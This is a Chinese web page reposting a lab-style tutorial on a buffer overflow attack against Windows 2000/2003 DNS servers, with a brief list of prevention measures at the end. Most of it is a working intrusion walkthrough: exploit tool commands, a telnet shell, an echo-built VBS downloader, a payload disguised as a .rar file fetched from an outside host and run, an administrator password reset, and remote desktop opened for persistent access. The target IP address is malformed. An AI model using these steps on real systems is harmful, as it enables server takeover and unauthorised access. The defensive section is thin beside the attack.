缓冲区溢出攻击的防范 缓冲区溢出攻击及其防范实例

1.实验环境

实验环境如图5-21所示。

入侵者(192.168.1.20):对192.168.1.2028进行缓冲区溢出攻击。

被入侵者(192.168.1.2028):是开启DNS服务的所有版本的Windows 2000 Server或Windows2003 Server SP1,在本次测试中使用Windows 2003 Server SP1。

2.缓冲区溢出攻击过程

第1步:入侵者下载并且执行dns.exe命令。到网上下载dns.exe工具,可以通杀Windows2000 Server、Windows 2003 ServerSP1系统,将其复制到C:Documents andSettings Administrator,在DOS窗口执行dns.exe命令,如图5-22所示。

? ? ? ? ? ? ? ? ? ? ? ? ? ??图执行dns.exe命令

第2步:寻找漏洞。执行dns.exe -s 192.168.1.2028命令,对主机进行扫描,如图5-23所示,显示出被入侵主机(192.168.1.2028)开放的端口以及操作系统,最主要的是显示“1047:Vulnerability”,意思就是1047端口存在漏洞。

缓冲区溢出攻击及其防范实例_缓冲区溢出攻击

第3步:实施溢出。如图5-24所示,执行dns.exe-t 2003chs 192.168.1.2028 1047命令,其中-t2003chs的意思是操作系统的型号,-t 2003chs即简体中文版的2003系统,如果是2000的系统就使用“-2000all”参数,192.168.1.2028就是我们的目标IP地址,1047就是刚才扫描出存在漏洞的端口。

出现“Attack sent, check port 1100”字样,说明已经打开了目标地址的1100端口。

第4步:成功入侵。如图5-25所示,执行telnet192.168.1.2028 1100命令,结果如图5-26所示,我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。

第5步:如图5-27所示,在已经成功入侵的电脑上执行简单的操作。

第6~11步介绍在被入侵电脑中开3389端口(远程桌面)的方法。

第6步:创建用来下载的VBS脚本tony.vbs。在被入侵电脑的命令行里输入:

缓冲区溢出攻击的防范 缓冲区溢出攻击及其防范实例

C:>echo with wscript:if .arguments.count^<2then .quit:end if > tony.vbs

C:>echo setaso=.createobject("adodb.stream"):setweb=createobject("microsoft.xmlhttp") ?>> ?tony.vbs

C:>echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit>>? tony.vbs

C:>echo aso.type=1:aso.open:aso.writeweb.responsebody:aso.savetofile .arguments(1), 2:end with >> ?tony.vbs

上面的命令创建一个用来下载的VBS脚本tony.vbs。

第7步:在入侵者的电脑上上传wrsky.exe。把开3389端口的工具(wrsky.exe,可以到网站下载)上传到自己的个人空间。

缓冲区溢出攻击及其防范实例_缓冲区溢出攻击

注意:

由于提供个人空间的网站都对上传文件的类型进行了限制,允许的文件类型及大小见表5-10。可知,不允许上传exe文件,因此上传之前对文件的后缀进行修改,比如wrsky.exe修改为wrsky.rar。

第8步:在被入侵电脑上下载wrsky.exe。如图5-28所示,在被入侵电脑的命令行里输入:cscript tony.vbshttp://blogimg.chinaunix.net/blog/upfile2/080313214807.rar c:wrsky.exe命令,其中http://blogimg.chinaunix.net/blog/upfile2/080313214807.rar为将wrsky.rar上传到个人空间后的URL。这条命令将080313214807.rar下载并且重新命名为wrsky.exe。

第9步:在被入侵电脑执行wrsky.exe命令。如图5-29所示,在入侵电脑的命令行执行wrsky.exe命令,获得帮助信息。

第10步:重新设置被入侵电脑的管理员密码。如图5-30所示,在入侵电脑的命令行执行netuser administrator 123456命令,对管理员账号重新设置密码为123456,为了下面能够以管理员身份远程桌面登录。

第11步:打开被入侵电脑的远程桌面服务。如图5-31所示,在被入侵电脑的命令行执行wrsky.exe -x 8686命令,打开对方的远程桌面服务,并且使用8686端口,再输入wrsky.exe -r命令。

第12步:远程桌面连接被入侵计算机。在本地计算机,【开始】/【运行】里执行mstsc(MS TerminalServer Client)命令后,如图5-32所示,输入192.168.1.2028:8686,单击【连接】按钮,输入管理员账号和密码(Administrator、123456),登录上去,如图5-33所示。

缓冲区溢出攻击及其防范实例_缓冲区溢出攻击

3.缓冲区溢出攻击的防范措施

(1)关闭不需要的特权程序。

(2)及时给系统和服务程序漏洞打补丁。

(3)强制写正确的代码。

(4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。

(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。

(6)在程序指针失效前进行完整性检查。

(7)改进系统内部安全机制。

  

爱华网本文地址 » http://www.aihuau.com/a/8104590103/309011.html

更多阅读

生活方式和急性心脑血管病的防范刘玄重 刘玄重简介

&#160;生活方式和急性心脑血管病的防范(刘玄重)<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />心血管病在影响我们身体健康中,占第一位。去年全世界死于心血管病是1530万人,占总死亡的四分之一,是全世界

缓冲区溢出的概念和原理 机械原理基本概念

在过去的十年中,以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严重的是,缓冲区溢出漏洞占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何

缓存区溢出个人解释 缓存溢出攻击

大家或许都遇到过缓存区错误造成的程序关闭,就我个人理解,缓存区作为操作系统开辟出来的,暂时存放输入数据的一个区域,由于大小无法更改,因此有超过该区域大小的数据要存储时,这时发生溢出,超出的部分就会覆盖这个区域,如果这部分被嵌入了恶

风险应对策略 网络攻击的常见方法及应对策略

     计算机网络本身是一把“双刃剑”,它既推动了社会的发展,带来巨大的好处,也会危害到社会的安全。攻击网络的黑客、病毒制造者等严重危及网络的生存和安全运行,使互联网时代的社会受到了前所未有的威胁。  1.网络攻击的内涵 

声明:《缓冲区溢出攻击的防范 缓冲区溢出攻击及其防范实例》为网友帅到你怀孕分享!如侵犯到您的合法权益请联系我们删除